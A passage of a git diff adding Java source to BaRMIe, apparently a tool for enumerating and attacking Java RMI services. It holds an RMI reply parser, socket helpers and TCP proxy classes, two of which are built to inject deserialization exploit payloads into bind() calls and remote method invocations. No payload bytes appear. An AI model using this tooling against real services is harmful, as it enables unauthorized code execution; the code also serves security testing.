stringAnnotations) { + obj.addStringAnnotation(interfaceNames[i], annotation); + } + } + } + } + + //Read the super class description + this.handleClassDesc(obj, dataStack); + } + + /******************* + * Handle a classAnnotation element and return any string annotation + * elements in the classAnnotation. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + * @return An ArrayList of strings representing any string annotations extracted from the stream. + ******************/ + private ArrayList handleClassAnnotation(RMIObject obj, LinkedList dataStack) throws BaRMIeInvalidReplyDataPacketException { + ArrayList stringAnnotations; + byte b; + + //Create the arraylist + stringAnnotations = new ArrayList(); + + //Read elements from the stream until a TC_ENDBLOCKDATA element is read + while((b = dataStack.pop()) != ObjectStreamConstants.TC_ENDBLOCKDATA) { + //Handle the annotation + switch(b) { + //Read string annotations into an array list to return + case ObjectStreamConstants.TC_STRING: + stringAnnotations.add(this.extractUtf8(dataStack)); + break; + + //Skip over reference annotations + case ObjectStreamConstants.TC_REFERENCE: + //Read past the reference handle + this.extractInt(dataStack); + break; + + //Ignore null annotations... + case ObjectStreamConstants.TC_NULL: + break; + + //Unknown annotation type + default: + throw new BaRMIeInvalidReplyDataPacketException("Unknown classAnnotation element type (0x" + String.format("%02x", b) + ")."); + } + } + + //Return the string annotations + return stringAnnotations; + } + + /******************* + * Handle field descriptions. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + ******************/ + private void handleFields(RMIObject obj, LinkedList dataStack, byte classDescFlags) throws BaRMIeInvalidReplyDataPacketException { + ArrayList fieldTypeCodes; + HashMap> classDataDesc; + char typeCode; + int fieldCount; + int i; + + //Create an array list of field type codes + fieldTypeCodes = new ArrayList(); + + //Read the number of fields + fieldCount = this.extractShort(dataStack); + + //Read the field descriptions + for(i = 0; i < fieldCount; ++i) { + //Read the field type code + typeCode = (char)dataStack.pop().byteValue(); + + //Add it to the list + fieldTypeCodes.add(typeCode); + + //Read the field data + switch(typeCode) { + //Handle primitive types by reading the field name + case 'B': + case 'C': + case 'D': + case 'F': + case 'I': + case 'J': + case 'S': + case 'Z': + //Skip over the field name + this.extractUtf8(dataStack); + break; + + //Handle object and array types by reading the field name and class name + case '[': + case 'L': + //Skip over the field name + this.extractUtf8(dataStack); + + //Skip over the class name + this.handleStringElement(dataStack); + break; + + //Invalid field type + default: + throw new BaRMIeInvalidReplyDataPacketException("Invalid field type code (0x" + String.format("%02x", (byte)typeCode) + ")."); + } + } + + //Add the field data to the class data description + classDataDesc = new HashMap>(); + classDataDesc.put(classDescFlags, fieldTypeCodes); + this._classDataDesc.push(classDataDesc); + } + + /******************* + * Handle a string element. + * + * @param obj The RMIObject to populate with class names. + ******************/ + private void handleStringElement(LinkedList dataStack) throws BaRMIeInvalidReplyDataPacketException { + //Handle a string based on the type + switch(dataStack.pop()) { + //Standard string + case ObjectStreamConstants.TC_STRING: + this.extractUtf8(dataStack); + break; + + //Long string + case ObjectStreamConstants.TC_LONGSTRING: + this.extractLongUtf8(dataStack); + break; + + //References + case ObjectStreamConstants.TC_REFERENCE: + this.extractInt(dataStack); + break; + + //Invalid string type + default: + throw new BaRMIeInvalidReplyDataPacketException("Invalid string element type."); + } + } + + /******************* + * Handle class data including extraction of the TC_BLOCKDATA element that + * contains the endpoint for the remote object. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + * @param classDataDesc A data structure defining the structure of the class data in the stream. + ******************/ + private void handleClassData(RMIObject obj, LinkedList dataStack, LinkedList>> classDataDesc) throws BaRMIeInvalidReplyDataPacketException { + HashMap> desc; + ArrayList fieldTypes; + byte classDescFlags; + byte objType; + + //Loop over the class data description elements + while(classDataDesc.size() > 0) { + //Pop a class data description off the stack (the data of the most-super class is written out first) + desc = classDataDesc.pop(); + + //Get the flags and field types + classDescFlags = (byte)desc.keySet().toArray()[0]; + fieldTypes = desc.get(classDescFlags); + + //Read the class data based on the flags + if((classDescFlags & ObjectStreamConstants.SC_SERIALIZABLE) == ObjectStreamConstants.SC_SERIALIZABLE) { + //Read/skip over the field values based on type + for(Character typeCode: fieldTypes) { + switch(typeCode) { + //Pop eight-byte values off the stack (pop four bytes, then fall through to pop remaining four bytes) + case 'J': //Long + case 'D': //Double + dataStack.pop(); + dataStack.pop(); + dataStack.pop(); + dataStack.pop(); + + //Pop four-byte values off + case 'I': //Integer + case 'F': //Float + dataStack.pop(); + dataStack.pop(); + + //Pop two-byte values off + case 'S': //Short + dataStack.pop(); + + //Pop one-byte values off the data stack + case 'B': //Byte + case 'C': //Char + case 'Z': //Boolean + dataStack.pop(); + break; + + //Handle objects + case 'L': + //Work out the object type + objType = dataStack.pop(); + switch(objType) { + //Recurse back into handleNewObjectElement() to handle object elements + case ObjectStreamConstants.TC_OBJECT: + this.handleNewObjectElement(obj, dataStack); + break; + + //Handle strings + case ObjectStreamConstants.TC_STRING: + this.extractUtf8(dataStack); + break; + + //Handle references + case ObjectStreamConstants.TC_REFERENCE: + this.extractInt(dataStack); + break; + + //Handle NULL objects + case ObjectStreamConstants.TC_NULL: + break; + + //Unknown object type + default: + throw new BaRMIeInvalidReplyDataPacketException("Unexpected byte when handling an object field value."); + } + break; + + //Handle arrays + case '[': + //Or not, for now... + throw new BaRMIeInvalidReplyDataPacketException("Invalid field type code ([)."); + + //Invalid type code + default: + throw new BaRMIeInvalidReplyDataPacketException("Invalid field type code (" + typeCode + ")."); + } + } + + //Read object annotations if necessary and extract the object endpoint if identified + if((classDescFlags & ObjectStreamConstants.SC_WRITE_METHOD) == ObjectStreamConstants.SC_WRITE_METHOD) { + this.handleObjectAnnotation(obj, dataStack); + } + } else if((classDescFlags & ObjectStreamConstants.SC_EXTERNALIZABLE) == ObjectStreamConstants.SC_EXTERNALIZABLE) { + if((classDescFlags & ObjectStreamConstants.SC_BLOCK_DATA) == ObjectStreamConstants.SC_BLOCK_DATA) { + //Read object annotations... + throw new BaRMIeInvalidReplyDataPacketException("Class data loading with SC_EXTERNALIZABLE and SC_BLOCK_DATA not implemented yet..."); + } else { + //Read external contents + // - NB: this is class-specific and requires knowledge of the underlying class(es) to parse + throw new BaRMIeInvalidReplyDataPacketException("Class data loading with SC_EXTERNALIZABLE and !SC_BLOCK_DATA is class-specific and not available..."); + } + } + } + } + + /******************* + * Handle an objectAnnotation element, extracting the object endpoint + * details if found. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + ******************/ + private void handleObjectAnnotation(RMIObject obj, LinkedList dataStack) throws BaRMIeInvalidReplyDataPacketException { + byte b; + + //Read elements from the stream until a TC_ENDBLOCKDATA element is read + while((b = dataStack.pop()) != ObjectStreamConstants.TC_ENDBLOCKDATA) { + //Handle the annotation + switch(b) { + //Look for object endpoint details in block data elements + case ObjectStreamConstants.TC_BLOCKDATA: + //Push the block type back on to the stack and extract endpoint details if found + dataStack.push(ObjectStreamConstants.TC_BLOCKDATA); + this.extractObjectEndpointFromBlockData(obj, dataStack); + break; + + //Skip over object annotations + case ObjectStreamConstants.TC_OBJECT: + this.handleNewObjectElement(obj, dataStack); + break; + + //Ignore null annotations... + case ObjectStreamConstants.TC_NULL: + break; + + //Unknown annotation type + default: + throw new BaRMIeInvalidReplyDataPacketException("Unknown classAnnotation element type (0x" + String.format("%02x", b) + ")."); + } + } + } + + /******************* + * Handle a block data element found within an object annotation. + * + * This block of data may contain the host and port where a remote object + * can be accessed. + * + * @param obj The RMIObject to populate with class names. + * @param dataStack The remaining data in the ReplyData packet. + ******************/ + private void extractObjectEndpointFromBlockData(RMIObject obj, LinkedList dataStack) throws BaRMIeInvalidReplyDataPacketException { + LinkedList blockData; + int blockSize; + int i; + + //Read the block data from the stack + blockData = new LinkedList(); + switch(dataStack.pop()) { + //Handle TC_BLOCKDATA elements + case ObjectStreamConstants.TC_BLOCKDATA: + //Read the block size and contents + blockSize = Byte.toUnsignedInt(dataStack.pop()); + for(i = 0; i < blockSize; ++i) { + blockData.add(dataStack.pop()); + } + break; + + //Unknown block data type + default: + throw new BaRMIeInvalidReplyDataPacketException("Invalid block data element type in class annotation."); + } + + //Examine the block data for object endpoint details (note peeking at the block data, not the data stack) + if(this.peekShort(blockData) == 10) { + //The first two bytes are 0x00 0a, check for the string "UnicastRef" + if(this.extractUtf8(blockData).equals("UnicastRef")) { + //UnicastRef found in the block data, extract the object's host and port and add them to the object description (note extraction from block data, not data stack) + try { + obj.setObjectEndpoint(new TCPEndpoint(this.extractUtf8(blockData), this.extractInt(blockData))); + } catch(BaRMIeInvalidPortException bipe) { + throw new BaRMIeInvalidReplyDataPacketException("UnicastRef contained an invalid port number.", bipe); + } + } + } else if(this.peekShort(blockData) == 11) { + //The first two bytes are 0x00 0b, check for the string "UnicastRef2" + if(this.extractUtf8(blockData).equals("UnicastRef2")) { + //UnicastRef2 found in the block data, extract the object's host and port and add them to the object description + try { + //Skip over a byte + blockData.pop(); + + //Extract the host name and port + obj.setObjectEndpoint(new TCPEndpoint(this.extractUtf8(blockData), this.extractInt(blockData))); + } catch(BaRMIeInvalidPortException bipe) { + throw new BaRMIeInvalidReplyDataPacketException("UnicastRef contained an invalid port number.", bipe); + } + } + } + } + + /******************* + * Read a short from the data stack. + * + * @param dataStack The remaining data from the RMI ReplyData packet. + * @return The short extracted from the serialisation data. + ******************/ + private short extractShort(LinkedList dataStack) { + //Read two bytes from the stack and bit-shift/mask them into a short + return (short)( + ((dataStack.pop() << 8) & 0xff00) + + ( dataStack.pop() & 0xff) + ); + } + + /******************* + * Return a short from the data stack without popping the short off the + * stack. + * + * @param dataStack The remaining data from the RMI ReplyData packet. + * @return The short extracted from the serialisation data. + ******************/ + private short peekShort(LinkedList dataStack) { + //Peek at the next two bytes from the stack and bit-shift/mask them into a short + return (short)( + ((dataStack.get(0) << 8) & 0xff00) + + ( dataStack.get(1) & 0xff) + ); + } + + /******************* + * Read an int from the data stack. + * + * @param dataStack The remaining data from the RMI ReplyData packet. + * @return The int extracted from the serialisation data. + ******************/ + private int extractInt(LinkedList dataStack) { + //Read four bytes from the stack and bit-shift/mask them into an int + return (int)( + ((dataStack.pop() << 24) & 0xff000000) + + ((dataStack.pop() << 16) & 0xff0000) + + ((dataStack.pop() << 8) & 0xff00) + + ( dataStack.pop() & 0xff) + ); + } + + /******************* + * Read a long from the data stack. + * + * @param dataStack The remaining data from the RMI ReplyData packet. + * @return The long extracted from the serialisation data. + ******************/ + private long extractLong(LinkedList dataStack) { + //Read eight bytes from the stack and bit-shift/mask them into a long + return (long)( + ((dataStack.pop() << 56) & 0xff00000000000000L) + + ((dataStack.pop() << 48) & 0xff000000000000L) + + ((dataStack.pop() << 40) & 0xff0000000000L) + + ((dataStack.pop() << 32) & 0xff00000000L) + + ((dataStack.pop() << 24) & 0xff000000 ) + + ((dataStack.pop() << 16) & 0xff0000 ) + + ((dataStack.pop() << 8) & 0xff00 ) + + ( dataStack.pop() & 0xff ) + ); + } + + /******************* + * Read a UTF8 string from the data stack. + * + * @param dataStack The remaining data from the RMI ReplyData packet. + * @return The string extracted from the serialisation data. + ******************/ + private String extractUtf8(LinkedList dataStack) { + StringBuilder builder; + int stringLength; + int i; + + //Read the string length from the stack + stringLength = Short.toUnsignedInt(this.extractShort(dataStack)); + + //Read the string from the data stack + builder = new StringBuilder(); + for(i = 0; i < stringLength; ++i) { + builder.append((char)dataStack.pop().byteValue()); + } + + //Return the result + return builder.toString(); + } + + /******************* + * Read a long UTF8 string from the data stack. + * + * @param dataStack The remaining data from the RMI ReplyData packet. + * @return The string extracted from the serialisation data. + ******************/ + private String extractLongUtf8(LinkedList dataStack) { + StringBuilder builder; + long stringLength; + int i; + + //Read the string length from the stack + stringLength = this.extractLong(dataStack); + + //Read the string from the data stack + builder = new StringBuilder(); + for(i = 0; i < stringLength; ++i) { + builder.append((char)dataStack.pop().byteValue()); + } + + //Return the result + return builder.toString(); + } +} diff --git a/src/nb/barmie/net/TCPEndpoint.java b/src/nb/barmie/net/TCPEndpoint.java new file mode 100644 index 0000000..cec2fd5 --- /dev/null +++ b/src/nb/barmie/net/TCPEndpoint.java @@ -0,0 +1,49 @@ +package nb.barmie.net; + +import nb.barmie.exceptions.BaRMIeInvalidPortException; + +/*********************************************************** + * Holder for host and port properties of a TCP endpoint. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class TCPEndpoint { + /******************* + * Properties + ******************/ + private final String _host; + private final int _port; + + /******************* + * Construct the TCP endpoint object with a given host and port. + * + * @param host The host/IP to use. + * @param port The port to use. + * @throws nb.barmie.exceptions.BaRMIeInvalidPortException If the given port number is not a valid TCP port number. + ******************/ + public TCPEndpoint(String host, int port) throws BaRMIeInvalidPortException { + //Store the properties + this._host = host; + this._port = port; + + //Validate the port number + if(this._port < 1 || this._port > 65535) { + throw new BaRMIeInvalidPortException(this._port); + } + } + + /******************* + * Return a string representation of this endpoint. + * + * @return A host:port string. + ******************/ + public String toString() { + return this._host + ":" + this._port; + } + + /******************* + * Getters + ******************/ + public String getHost() { return this._host; } + public int getPort() { return this._port; } +} diff --git a/src/nb/barmie/net/TimeoutClientSocketFactory.java b/src/nb/barmie/net/TimeoutClientSocketFactory.java new file mode 100644 index 0000000..5fa6be0 --- /dev/null +++ b/src/nb/barmie/net/TimeoutClientSocketFactory.java @@ -0,0 +1,49 @@ +package nb.barmie.net; + +import java.io.IOException; +import java.net.InetSocketAddress; +import java.net.Socket; +import java.rmi.server.RMIClientSocketFactory; + +/*********************************************************** + * An RMIClientSocketFactory implementation that sets a + * timeout on blocking socket operations. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class TimeoutClientSocketFactory implements RMIClientSocketFactory { + /******************* + * Properties + ******************/ + private final int _timeout; //The timeout in milliseconds before blocking socket operations return. + + /******************* + * Construct the socket factory with a given timeout value. + * + * @param timeout The timeout in milliseconds before blocking socket operations should return. + ******************/ + public TimeoutClientSocketFactory(int timeout) { + this._timeout = timeout; + } + + /******************* + * Create a socket, set the timeout, and connect it to the given target. + * + * @param host The host to connect to. + * @param port The port to connect to. + * @return A socket connected to the given target.s + * @throws IOException If an exception occurs whilst connecting to the target. + ******************/ + public Socket createSocket(String host, int port) throws IOException { + Socket sock; + + //Create the socket, set the timeout, and connect to the target + sock = new Socket(); + sock.setSoTimeout(this._timeout); + sock.setSoLinger(false, 0); + sock.connect(new InetSocketAddress(host, port), this._timeout); + + //Return the socket + return sock; + } +} diff --git a/src/nb/barmie/net/proxy/PortForwarder.java b/src/nb/barmie/net/proxy/PortForwarder.java new file mode 100644 index 0000000..e65b19b --- /dev/null +++ b/src/nb/barmie/net/proxy/PortForwarder.java @@ -0,0 +1,52 @@ +package nb.barmie.net.proxy; + +import java.net.InetAddress; +import java.net.Socket; +import nb.barmie.net.proxy.thread.PassThroughProxyThread; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * A TCP Proxy instance which uses two pass through proxy + * threads in order to support port forwarding. + * + * In some cases RMI server applications bind objects to + * localhost or 127.0.0.1. When an RMI client attempts to + * use one of these objects, it attempts to connect to it + * on the local host, rather than the remote server. This + * proxy instance is intended to be used to forward the + * local port to the remote server so that we can still + * attack these endpoints. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class PortForwarder extends ProxyServer { + /******************* + * Construct the port forwarder. + * + * @param targetHost The host to forward connections to. + * @param targetPort The port to forward connections to. + * @param options The program options. + ******************/ + public PortForwarder(InetAddress targetHost, int targetPort, ProgramOptions options) { + //Initialise super class + super(targetHost, targetPort, options); + + //Set the listen port to the target port + this.setServerListenPort(targetPort); + } + + /******************* + * Create a proxy session object which allows data to pass through + * untouched in both directions. + * + * @param clientSock A Socket for the incoming client connection. + * @param targetSock A Socket connected to the proxy target. + * @return A ProxySession object to handle the connection and data transfer. + ******************/ + protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { + return new ProxySession( + new PassThroughProxyThread(clientSock, targetSock), + new PassThroughProxyThread(targetSock, clientSock) + ); + } +} diff --git a/src/nb/barmie/net/proxy/ProxyServer.java b/src/nb/barmie/net/proxy/ProxyServer.java new file mode 100644 index 0000000..7e98968 --- /dev/null +++ b/src/nb/barmie/net/proxy/ProxyServer.java @@ -0,0 +1,259 @@ +package nb.barmie.net.proxy; + +import java.net.InetAddress; +import java.net.ServerSocket; +import java.net.Socket; +import java.net.SocketException; +import java.net.SocketTimeoutException; +import java.util.ArrayList; +import nb.barmie.exceptions.BaRMIeException; +import nb.barmie.exceptions.BaRMIeProxyAlreadyStartedException; +import nb.barmie.exceptions.BaRMIeProxyStartupException; +import nb.barmie.net.proxy.thread.PassThroughProxyThread; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * Base TCP proxy server class. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ProxyServer extends Thread { + /******************* + * Constants + ******************/ + private static final int SERVER_SOCK_TIMEOUT = 100; //Time in milliseconds that the server socket should block waiting for incoming connections on each call to accept() + private static final int SERVER_THREAD_JOIN_TIMEOUT = 300; //Time in milliseconds to wait on shutdown for the server thread to terminate + + /******************* + * Properties + ******************/ + private volatile ServerSocket _serverSocket; //The server socket used to accept connections to the proxy + private final InetAddress _targetHost; //The target host to connect proxy clients to + private final int _targetPort; //The target port to connect proxy clients to + private int _listenPort; //The port that the server socket should attempt to listen on (defaults to 0 for auto select) + protected final ProgramOptions _options; //The program options (including socket timeout value) + protected volatile ArrayList _proxySessions; //A list of active proxy sessions, tracked purely so they can be shutdown + private volatile BaRMIeException _startupException; //Exception set if there is a problem starting the proxy server + private volatile boolean _readyForConnections; //Flag indicating that the proxy is ready to accept incoming connections + private volatile boolean _shutdown; //Flag indicating that the proxy server thread should shutdown + private volatile boolean _forceShutdown; //Flag indicating that a forced shutdown has been requested + + /******************* + * Construct the proxy. + * + * @param targetHost The host to forward connections to. + * @param targetPort The port to forward connections to. + * @param options The program options. + ******************/ + public ProxyServer(InetAddress targetHost, int targetPort, ProgramOptions options) { + this._serverSocket = null; + this._targetHost = targetHost; + this._targetPort = targetPort; + this._listenPort = 0; + this._options = options; + this._proxySessions = new ArrayList(); + this._startupException = null; + this._readyForConnections = false; + this._shutdown = false; + this._forceShutdown = false; + } + + /******************* + * Start the proxy server thread ready to start accepting incoming + * connections. + * + * @throws BaRMIeException If the proxy is already running or an exception occurs during proxy startup. + ******************/ + final public void startProxy() throws BaRMIeException { + //Bail if already started + if(this._serverSocket != null) { throw new BaRMIeProxyAlreadyStartedException("The proxy server has already been started and must be shutdown before it can be started again."); } + if(this._proxySessions.size() > 0) { throw new BaRMIeProxyAlreadyStartedException("There are existing proxy server sessions that must be terminated before starting the proxy again."); } + + //Reset flags and startup exception field + this._startupException = null; + this._readyForConnections = false; + this._shutdown = false; + + //Start the proxy server thread + this.start(); + + //Block until the proxy is ready or an exception is thrown + while(this._readyForConnections == false && this._startupException == null) {} + if(this._startupException != null) { + //Exception thrown during startup, throw it back to the caller + throw this._startupException; + } + } + + /******************* + * Main thread function - creates the server socket and handles connections + * until the proxy is shutdown. + ******************/ + final public void run() { + ProxySession ps; + Socket clientSock; + Socket targetSock; + + //Bail if already started + if(this._serverSocket != null) { this._startupException = new BaRMIeProxyAlreadyStartedException("The proxy server has already been started and must be shutdown before it can be started again."); return; } + if(this._proxySessions.size() > 0) { this._startupException = new BaRMIeProxyAlreadyStartedException("There are existing proxy server sessions that must be terminated before starting the proxy again."); return; } + + //Create the server socket + try { + this._serverSocket = new ServerSocket(this._listenPort, 2, InetAddress.getLoopbackAddress()); + this._serverSocket.setSoTimeout(ProxyServer.SERVER_SOCK_TIMEOUT); //Low timeout allows the server to be shutdown quicker + } catch(Exception ex) { + //Close the server socket if it was created + if(this._serverSocket != null) { + try { this._serverSocket.close(); } catch(Exception ex1) {} + this._serverSocket = null; + } + + //Store the exception and exit the thread + this._startupException = new BaRMIeProxyStartupException("An exception occurred whilst attempting to start an RMI object proxy.", ex); + return; + } + + //Set the flag indicating that the proxy is ready to accept connections + this._readyForConnections = true; + + //Enter the main proxy server loop + while(this._shutdown == false) { + try { + //Attempt to accept a connection to the server socket + clientSock = this._serverSocket.accept(); + clientSock.setSoTimeout(this._options.getSocketTimeout()); + + //Attept to establish an outbound connection to the target + targetSock = new Socket(this._targetHost, this._targetPort); + targetSock.setSoTimeout(this._options.getSocketTimeout()); + + //Create a new proxy session + ps = this.createProxySession(clientSock, targetSock); + if(ps != null) { + //Add to the list of proxy sessions + this._proxySessions.add(ps); + + //Start the new proxy session + ps.start(); + } + } catch(SocketTimeoutException ste) { + //Server socket accept timeout passed, continue + continue; + } catch(SocketException se) { + //Most likely an exception caused by a connection closing down somewhere or a proxy being terminated, swallow it up + continue; + } catch(Exception ex) { + //Print the exception details + System.out.println("[-] An exception occurred in the proxy main loop (" + this.getClass().getSimpleName() + ").\n\t" + ex.toString()); + ex.printStackTrace(); + } + } + + //No longer ready to accept connections + this._readyForConnections = false; + + //Close and release the server socket + if(this._serverSocket != null) { + try { this._serverSocket.close(); } catch(Exception ex) {} + this._serverSocket = null; + } + } + + /******************* + * Stop the proxy server gracefully. + ******************/ + final public void stopProxy() { + this.stopProxy(false); + } + + /******************* + * Stop the proxy server and shutdown all proxy sessions. + * + * @param force Set to true to force the proxy to stop immediately. + ******************/ + final public void stopProxy(boolean force) { + //Don't shutdown if we're already shutting down + if(this._shutdown == false) { + //Set the shutdown and force shutdown flags + this._shutdown = true; + this._forceShutdown = force; + + //If the shutdown is forced, close the server socket and interrupt the thread + if(force == true) { + //Close the server socket + if(this._serverSocket != null) { + try { this._serverSocket.close(); } catch(Exception ex) {} + this._serverSocket = null; + } + + //Interrupt the thread + if(this.isAlive()) { this.interrupt(); } + } else { + //Attempt to join the thread + try { this.join(ProxyServer.SERVER_THREAD_JOIN_TIMEOUT); } catch(InterruptedException ie) {} + if(this.isAlive()) { this.interrupt(); } + + //Shutdown the server socket if necessary + if(this._serverSocket != null) { + try { this._serverSocket.close(); } catch(Exception ex) {} + this._serverSocket = null; + } + } + + //If there are any active proxy sessions then shut them down + for(ProxySession ps: this._proxySessions) { + ps.shutdown(force); + } + this._proxySessions.clear(); + } + } + + /******************* + * Get the listen address of the proxy server socket. + * + * @return The listen address of the proxy server socket. + ******************/ + final public InetAddress getServerListenAddress() { return this._serverSocket.getInetAddress(); } + + /******************* + * Get the local port that the proxy server is listening on. + * + * @return The local port that the proxy server is listening on. + ******************/ + final public int getServerListenPort() { return this._serverSocket.getLocalPort(); } + + /******************* + * Set the local port on which the proxy server should listen. + * + * Setting this to zero (default) will lead to a free port being selected + * automatically. + * + * @param port The TCP port to listen on. + ******************/ + final public void setServerListenPort(int port) { + this._listenPort = port; + } + + /******************* + * Create a proxy session object - called when a client connects to the + * proxy server socket and a connection to the target has been established + * in order to create a ProxySession to handle transmission of data between + * the client and target. + * + * By default this returns a proxy session that passes data straight through + * from client to server and back. This method must be overridden by + * sub classes in order to capture and/or manipulate data passing over the + * network. + * + * @param clientSock A Socket for the incoming client connection. + * @param targetSock A Socket connected to the proxy target. + * @return A ProxySession object to handle the connection and data transfer. + ******************/ + protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { + return new ProxySession( + new PassThroughProxyThread(clientSock, targetSock), + new PassThroughProxyThread(targetSock, clientSock) + ); + } +} diff --git a/src/nb/barmie/net/proxy/ProxySession.java b/src/nb/barmie/net/proxy/ProxySession.java new file mode 100644 index 0000000..07014dc --- /dev/null +++ b/src/nb/barmie/net/proxy/ProxySession.java @@ -0,0 +1,73 @@ +package nb.barmie.net.proxy; + +import nb.barmie.net.proxy.thread.ProxyThread; + +/*********************************************************** + * Class representing a proxy session with a proxy thread + * to handle data going from client to target and a proxy + * thread to handle data going from target to client. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class ProxySession { + /******************* + * Properties + ******************/ + private final ProxyThread _outboundProxyThread; //Proxy thread to handle data going from client to target + private final ProxyThread _inboundProxyThread; //Proxy thread to handle data going from target to client + + /******************* + * Construct the proxy session with the given outbound and inbound proxy + * threads. + * + * @param outThread A ProxyThread instance to handle data from the client to the target. + * @param inThread A ProxyThread instance to handle data from the target to the client. + ******************/ + public ProxySession(ProxyThread outThread, ProxyThread inThread) { + this._outboundProxyThread = outThread; + this._inboundProxyThread = inThread; + } + + /******************* + * Start the outbound and inbound proxy threads. + ******************/ + public void start() { + this._outboundProxyThread.start(); + this._inboundProxyThread.start(); + } + + /******************* + * Shutdown the proxy session gracefully. + ******************/ + public void shutdown() { + this.shutdown(false); + } + + /******************* + * Shutdown the outbound and inbound proxy threads. + * + * @param force Set to true to force immediate shutdown. + ******************/ + public void shutdown(boolean force) { + this._outboundProxyThread.shutdown(force); + this._inboundProxyThread.shutdown(force); + } + + /******************* + * Get the outbound proxy thread. + * + * @return The outbound proxy thread. + ******************/ + public ProxyThread getOutboundProxyThread() { + return this._outboundProxyThread; + } + + /******************* + * Get the inbound proxy thread. + * + * @return The inbound proxy thread. + ******************/ + public ProxyThread getInboundProxyThread() { + return this._inboundProxyThread; + } +} diff --git a/src/nb/barmie/net/proxy/RMIBindExploitProxy.java b/src/nb/barmie/net/proxy/RMIBindExploitProxy.java new file mode 100644 index 0000000..babf5df --- /dev/null +++ b/src/nb/barmie/net/proxy/RMIBindExploitProxy.java @@ -0,0 +1,54 @@ +package nb.barmie.net.proxy; + +import java.net.InetAddress; +import java.net.Socket; +import nb.barmie.net.proxy.thread.BindPayloadInjectingProxyThread; +import nb.barmie.net.proxy.thread.PassThroughProxyThread; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * TCP proxy server used to inject exploit payloads into + * outbound calls to Registry.bind(). + * + * Exploit payloads are injected in place of the string + * which the given object is bound to. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIBindExploitProxy extends ProxyServer { + /******************* + * Properties + ******************/ + private final byte[] _payload; //The raw bytes of the payload to inject + + /******************* + * Construct the proxy. + * + * @param targetHost The host to forward connections to. + * @param targetPort The port to forward connections to. + * @param options The program options. + * @param payload The exploit payload to inject. + ******************/ + public RMIBindExploitProxy(InetAddress targetHost, int targetPort, ProgramOptions options, byte[] payload) { + //Initialise super class + super(targetHost, targetPort, options); + + //Store the exploit payload + this._payload = payload; + } + + /******************* + * Create a proxy session object that injects the payload into the RMI + * bind() call and allows returned data to pass through. + * + * @param clientSock A Socket for the incoming client connection. + * @param targetSock A Socket connected to the proxy target. + * @return A ProxySession object to handle the connection and data transfer. + ******************/ + protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { + return new ProxySession( + new BindPayloadInjectingProxyThread(clientSock, targetSock, this._payload), + new PassThroughProxyThread(targetSock, clientSock) + ); + } +} diff --git a/src/nb/barmie/net/proxy/RMIMethodCallProxy.java b/src/nb/barmie/net/proxy/RMIMethodCallProxy.java new file mode 100644 index 0000000..f5a29b8 --- /dev/null +++ b/src/nb/barmie/net/proxy/RMIMethodCallProxy.java @@ -0,0 +1,56 @@ +package nb.barmie.net.proxy; + +import java.net.InetAddress; +import java.net.Socket; +import nb.barmie.net.proxy.thread.MethodCallPayloadInjectingProxyThread; +import nb.barmie.net.proxy.thread.PassThroughProxyThread; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * TCP proxy server used to proxy connections to remote + * objects in order to inject deserialization payloads + * into remote method invocation packets. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIMethodCallProxy extends ProxyServer { + /******************* + * Properties + ******************/ + private final byte[] _payload; //The raw payload bytes to inject into remote method invocation packets + private final byte[] _marker; //The marker bytes to look for and replace in remote method invocation packets + + /******************* + * Construct the proxy. + * + * @param targetHost The host to forward connections to. + * @param targetPort The port to forward connections to. + * @param options The program options. + * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. + * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. + ******************/ + public RMIMethodCallProxy(InetAddress targetHost, int targetPort, ProgramOptions options, byte[] payload, byte[] marker) { + //Initialise super class + super(targetHost, targetPort, options); + + //Store the payload and marker bytes + this._payload = payload; + this._marker = marker; + } + + /******************* + * Create a proxy session object that looks for a given marker in outbound + * remote method invocation packets and replaces it with raw bytes of a + * deserialization payload. + * + * @param clientSock A Socket for the incoming client connection. + * @param targetSock A Socket connected to the proxy target. + * @return A ProxySession object to handle the connection and data transfer. + ******************/ + protected ProxySession createProxySession(Socket clientSock, Socket targetSock) { + return new ProxySession( + new MethodCallPayloadInjectingProxyThread(clientSock, targetSock, this._payload, this._marker), + new PassThroughProxyThread(targetSock, clientSock) + ); + } +} diff --git a/src/nb/barmie/net/proxy/RMIObjectProxy.java b/src/nb/barmie/net/proxy/RMIObjectProxy.java new file mode 100644 index 0000000..b1f710f --- /dev/null +++ b/src/nb/barmie/net/proxy/RMIObjectProxy.java @@ -0,0 +1,59 @@ +package nb.barmie.net.proxy; + +import nb.barmie.net.proxy.thread.PassThroughProxyThread; +import nb.barmie.net.proxy.thread.ObjectRedirectProxyThread; +import java.net.InetAddress; +import java.net.Socket; +import nb.barmie.util.ProgramOptions; + +/*********************************************************** + * TCP proxy server class which proxies an RMI registry + * connection in order to alter remote object references + * to point at another proxy server which proxies remote + * method invocations. + * + * This class is used to support injection of + * deserialization payloads at the network level. + * + * Written by Nicky Bloor (@NickstaDB). + **********************************************************/ +public class RMIObjectProxy extends ProxyServer { + /******************* + * Properties + ******************/ + private final byte[] _payload; //The raw bytes of the deserialization payload to use + private final byte[] _marker; //The raw bytes of the marker which is to be replaced with the payload in outbound method invocations + + /******************* + * Construct the proxy. + * + * @param targetHost The host to forward connections to. + * @param targetPort The port to forward connections to. + * @param options The program options. + * @param payload The raw bytes of the deserialization payload that will be injected into proxied method calls. + * @param marker The raw bytes of a marker object that will be replaced with the payload in proxied method calls. + 